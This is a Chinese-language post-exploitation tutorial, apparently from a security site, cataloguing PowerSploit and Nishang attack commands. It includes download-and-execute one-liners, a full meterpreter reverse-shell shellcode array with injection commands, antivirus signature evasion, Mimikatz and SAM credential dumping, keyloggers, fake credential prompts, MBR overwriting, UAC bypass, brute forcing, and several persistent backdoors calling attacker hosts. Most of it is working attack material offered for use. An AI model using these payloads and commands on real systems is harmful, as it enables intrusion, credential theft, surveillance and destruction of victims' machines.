作者:香山
预估稿费:1200RMB
(本篇文章享受双倍稿费 活动链接请点击此处)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
本篇为Powershell攻击指南——黑客后渗透之道系列最后一篇——实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。
在实际的渗透环境中我们利用Powershell的方式无非两种:
两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:
我们做一个最简单的例子:
使用编码的方式执行whoami
命令,我们首先使用下面的命令来进行编码
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedCommand
完整过程如下:
Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。
那么很多人会说Python就好了啊,
-m SimpleHTTPServer
就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选
那么搭建HTTP服务器也是调用了API,使用到了.Net的API—HttpListener,我们只需要像这样调用New-Object Net.HttpListener
那么我们就可以得到一个.Net对象,下面我们直接看看代码:
start-job {
$p="c:\temp\"
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID
如果我们需要停止这个HTTP,只需要Stop即可:
那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。
直接看看命令: powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"
我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。
下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。
第一个是mimikittenz这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。
链接 中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个工具也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。
链接 中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果
这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。
工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。
那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开
打开的界面如下:
语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。
但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在这里,简单看看他的一张截图:
可以看到软件是非常专业的,非常的方便编写与管理你的代码。
Visual Studio同意也能达到这样的效果,那么大家可以自行选择。
我们对于框架的介绍主要介绍Powersploit与Nishang,本来写了Empire的,可是在发布文章之前不久刚发了类似的文章,所以删去部分内容,如果需要学习Empire的朋友,可以去安全客搜索文章,当然还是推荐查看Empire的手册。下面开始介绍两个框架:
注:本篇篇幅可能过长,文字较多,可以在需要的时候直接打开文章搜索即可。
寻找反病毒软件特征码,思路类似于二分法
参考
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
示例 假设我们的远控文件偏移范围为0~10000
Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe
这条命令将会把test.exe以5000字节作为块大小,分为两个有效部分。第一个部分偏移范围是05000,第二部分偏移为09999。之后我们可以分别使用杀软扫描这两个文件。不妨设第一个文件没有报毒,而第二个文件报毒了,那么我们就知道,特征码应该存在于偏移范围5001~9999字节内。
接下来我们重复同样的步骤:
Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe
再将得到的文件进行扫描,如此往复,直到定位出特征码。
DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限
示例
Invoke-DLLInjection -ProcessID 1612 -dll test.dll
反射型注入,bypass AV的一把利器 个人认为反射型dll注入的精髓之一就在于能做到不在目标磁盘上留下文件,而这个脚本的一大缺陷便是不能远程加载dll/exe,因此要做到无文件就稍显麻烦。 好在已经有人写出了可以从服务器下载文件并注入的脚本。
需要注意的是,ForceASLR选项并不适用于所有dll/exe, 架构上也尽量做到相同。
下面均以加强版作示例。
示例 下载dll并注入到id为1320的进程中
Invoke-ReflectivePEInjection -PEUrl http:
强制使用ASLR
Invoke-ReflectivePEInjection -PEUrl http:
从本地加载dll并注入指定进程
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320
向exe传参
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320 -ExeArgs "arg1 arg2"
向目标进程注入shellcode 依然需要注意shellcode架构的问题
示例 向powershell进程注入meterpreter
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f powershell
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of powershell file: 1625 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5
注入shellcode
Invoke-Shellcode -Shellcode @(0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5) -Force
在目标主机使用wmi执行命令
示例
$username = "test\Administrator"
$password = echo "123456" | ConvertTo-SecureString -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential $username,$password
Invoke-Wmicommand -Payload { 1 + 1 } -ComputerName '192.168.1.1' -Credential $Credentials
示例
Get-GPPAutologon
示例
Get-GPPPassword
键盘记录
示例
Get-Keystrokes -LogPath .\1.txt
通过麦克风记录声音
示例
Get-MicrophoneAudio -Path .\1.wav -Length 10
屏幕记录
示例
Get-TimedScreenshot -Path .\screenshot\ -Interval 10 -EndTime 18:00
从凭证管理器中获取凭证
示例
Get-VaultCredential
参考
https://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/
示例
Invoke-CredentialInjection -UserName test -Password 123456 -NewWinLogon
示例
Invoke-Mimikatz -DumpCreds
执行mimikaz命令
invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords"
某些文件被其他进程占用导致不能复制时,可以尝试用这个脚本来复制(例如想dump SAM文件) 需要管理员权限
示例
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM.hive
参考
https://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
示例 枚举唯一 可用的令牌
Invoke-TokenManipulation -Enumerate
枚举所有的令牌(包括不唯一的与通过网络登陆所创建的令牌)
Invoke-TokenManipulation -ShowAll
使用SYSTEM用户的令牌创建一个进程
Invoke-TokenManipulation -CreateProcess "calc.exe" -Username "NT AUTHORITY\SYSTEM"
这里也可以通过ID来指定一个Token
Invoke-TokenManipulation -CreateProcess "calc.exe" -ProcessId "1234"
那么这里会使用进程ID1234的会话来启动一个进程
使当前的线程令牌模仿SYSTEM用户
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
dump指定进程完整的内存镜像
示例
Out-Minidump -Process (Get-Process -Id 2612) -DumpFilePath .\
卷影拷贝工具
列出所有卷影拷贝的路径 需要管理员权限 示例
Get-VolumeShadowCopy
新建卷影拷贝
示例
New-VolumeShadowCopy -Volume C:\
挂载卷影拷贝
示例
Mount-VolumeShadowCopy -Path C:\Users\haha -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
删除卷影拷贝
示例
Remove-VolumeShadowCopy -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
将此模块放在%Systemroot%/System32\WindowsPowerShell\v1.0\Modules
或$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules
退出powershell时使系统蓝屏
示例
Set-CriticalProcess
立刻退出
Set-CriticalProcess -ExitImmediately
覆写主引导记录
示例
Set-MasterBootRecord -BootMessage "test"
同mayhem放置位置
示例
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
需要运行在STA模式下,启动参数-STA
参考
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
示例
get-system
选择方式
get-system -Technique namedpipe/token
恢复令牌
Get-System -RevToSelf
参考
http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
获取计算机信息
示例
Get-ComputerDetails
扫目录脚本
示例
Get-HttpStatus -Target www.example.com -Path C:\dic.txt -UseSSL
扫端口
示例
扫描192.168.1.1/24的135,139,445端口
Invoke-Portscan -Hosts 192.168.1,1 -Ports "135,139,445,1" -Threads 50
扫描Top50的端口
Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50
扫描前不ping目标主机
Invoke-Portscan -Hosts 192.168.169.168 -Ports 445 -SkipDiscovery
ip反查主机名
示例
Invoke-ReverseDnsLookup -IpRange 192.168.1.1-192.168.1.254
同mayhem放置位置
参考
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/README.md http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-1/ http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-2/ http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-3/http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-4/
将dll压缩并base64编码
示例
Out-CompressedDll -FilePath test.dll
将脚本或代码块编码
示例 脚本块编码
Out-EncodedCommand -ScriptBlock {write-host 'whoami'}
脚本编码
Out-EncodedCommand -Path .\1.ps1 -WindowStyle Hidden
脚本加密
示例
Out-EncryptedScript -ScriptPath .\1.ps1 -Password fuck -Salt 123 -FilePath .\encrypt.ps1
删除注释和不必要的空白符
示例
Remove-Comments -Path .\1.ps1
Remove-Comments -ScriptBlock { whoami }
下面Nishang的介绍,朋友V1ct0r对于Nishang的总结不错,这里争取同意之后一起发给大家查看。
从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。 执行方式:
PS > Check-VM
测试
这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。 执行方式:
PS > Copy-VSS
PS > Copy-VSS -DestinationDir C:\temp
测试
这个脚本是用来欺骗用户输入账号密码信息的。 执行方式:
PS > Invoke-CredentialsPhish
测试
执行后会弹出这个框欺骗用户输入
直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:
FireBuster可以对内网进行扫描,它会把包发给FireListener 执行方式:
PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020
该脚本作者的Github上面还提供了一个Python版的监听端:https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/ 测试 我们首先在我们的机器(Attacker)上面运行FireListener:
FireListener 100-110
Victim:
FireBuster 192.168.199.1 90-110 -Verbose
这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。 执行方式:
PS > Get-Information
还可以用我们前面说过的Out-File来将运行结果保存到指定文件。
该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。 执行方式:
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName
这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。 执行方式:
PS > Get-PassHashes -PSObjectFormat
在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。 执行方式:
PS > Get-WLAN-Keys
Keylogger可以保存下用户的键盘记录。 执行方式:
PS > .\Keylogger.ps1 -CheckURL http:
PS > .\Keylogger.ps1 -CheckURL http:
PS > .\Keylogger.ps1 -persist
PS > .\Keylogger.ps1
测试 首先执行 PS > .\Keylogger.ps1
发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys .\key.log .\parsed.txt
然后parsed.txt里面就是解析后的按键记录了
Dump出Windows 8.1 and Server 2012的系统用户密码。 执行方式:
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
执行了
PS >Invoke-MimikatzWDigestDowngrade
Windows会锁屏
之后执行
Get-Job
发现尝试多次都测试失败
解决办法可以参考: 域渗透——Dump Clear-Text Password after KB2871997 installed
这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。 执行方式:
PS > Get-PassHints
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 //将远程的画面传送到192.168.230.1的443端口
测试 Victim:
Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse
Attacker:
nc.exe -nlvp 5773 | nc.exe -nlvp 9000
本机访问:127.0.0.1:9000
Mimikatz大家都非常熟悉了,就不再介绍了 执行方式:
Invoke-Mimikatz -DumpCerts
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
查找域内开启了Kerberos Unconstrained Delegation的机器。 执行方式:
PS > Get-Unconstrained
PS > Get-Unconstrained -Details
关于”通过Kerberos Unconstrained Delegation获取到域管理员”:http://www.freebuf.com/articles/terminal/98530.html
一个ASPX的Webshell,通过这个Webshell可以编码、执行脚本,上传、下载文件。 ![Antak_UI][7] 执行方式:
上传Webshell后把它当成一个正常的Powershell执行窗口来使用
上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可
关于Antak Webshell的更多介绍,请参考:http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
HTTP-Backdoor可以帮助我们在目标机器上下载和执行Powershell脚本 执行方式:
PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
下面解释下几个比较重要的参数:
利用DNS隧道来进行信息传输、通信的小技巧已经不少见了。在Nishang中也集成了一个通过DNS TXT来接收命令或者脚本的后门脚本。使用DNS_TXT_Pwnage这个脚本,我们一般需要配合Utility下的Out-DnsTxt使用。 所以这里首先说下Out-DnsTxt的使用:
PS >Out-DnsTxt -DataToEncode path
之后,它会生成一个编码后的文件,如下图所示
然后我们去添加对应的TXT记录就行了,encoded.txt文件中每一行为一条记录 添加完后我们还需要添加两条TXT记录,内容为start和stop 添加完成后,我们就可以利用DNS_TXT_Pwnage这个脚本了 执行方式:
PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop
具体参数的意思:
执行方式:
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
具体参数的意思:
Gupt-Backdoor这个脚本可以帮助我们通过无线SSID反弹后门和执行命令。 执行方式:
PS >Gupt-Backdoor -MagicString test -Verbose
这里解释一下MagicString这个参数: MagicString开头的4个字符是用来识别我们建立的WIFI SSID的。例如,这里是test,Gupt后门会去自动匹配我们WIFI中SSID以test开头的。而MagicString这个参数从第五个字符开始就决定了我们是执行命令或是下载脚本。 需要注意的是:
补充 Windows下创建一个WIFI:
cmd
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=test key=1234567890
netsh wlan start hostednetwork
这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门 执行方式:
PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用这条语句可以执行我们自己的Payload
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor
http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用这条命令可以从powershell执行一个HTTP-Backdoor
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 //还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),然后利用这条命令返回一个meterpreter
其他具体的参数的意思和我们上面介绍的一些后门是类似的
这个脚本是使用NTFS数据流留下一个永久性后门。其实,由NTFS数据流带来的一些安全问题的利用并不少见了(如:利用NTFS数据流在Mysql UDF提权中创建lib/plugin目录),大家可以参考《NTFS ADS带来的WEB安全问题》 这个脚本可以向ADS中注入代码并且以普通用户权限运行 执行方式:
PS >Invoke-ADSBackdoor -PayloadURL http:
com/raw.php?i=jqP2vJ3x http:
这个脚本主要有两个参数,在上面介绍其他后门当中已经说明了,这里是类似的 需要说明的是,执行后它会在AppData的目录下建立一个ads并把我们的Payload注入进去,如果我们希望在cmd下看到我们这里建立的ads,需要使用:dir /a /r
对于这一部分的脚本,我就不再赘述了,因为网上早已经有了对于这一部分脚本的介绍说明: [使用Powershell Client进行有效钓鱼][8]
这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。 执行方式
PS > Enable-DuplicateToken
这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。 执行方式:
PS > Remove-Update All
PS > Remove-Update Security
PS > Remove-Update KB2761226
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。 执行方式:
PS > Invoke-PsUACme -Verbose
PS > Invoke-PsUACme -method oobe -Verbose
PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:\Windows\Temp\cmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破 执行方式:
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose //爆破SQL Server
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose //爆破server.txt中所有servers的SQL Server
主要的参数:
利用这个脚本我们可以在目标机器上对内网进行端口扫描 执行方式:
PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
主要的参数:
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来 执行方式:
PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口) 例如 我们在目标机器上执行:
然后这里本机我用NC来监听对应端口:
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
Nishang这款基于PowerShell的渗透测试专用工具集成了非常多实用的脚本与框架,方便我们在渗透测试过程之中使用。尽管,在一些环境下我们可能没有办法去执行Powershell,但是通过查看这些脚本的具体代码,我们也可以自己去完成实现脚本提供的一些功能。限于篇幅,本文只能抛砖引玉地介绍Nishang的部分功能,希望大家能够在实际的应用之中去体验。
好了,目前关于Powershell的东西已经分享完啦,中间一些内容或许有些错误,之后如果还有更新请关注我的GitBook,最后先卖一波红线~,大家不知道红线是什么的话可以扫一扫:)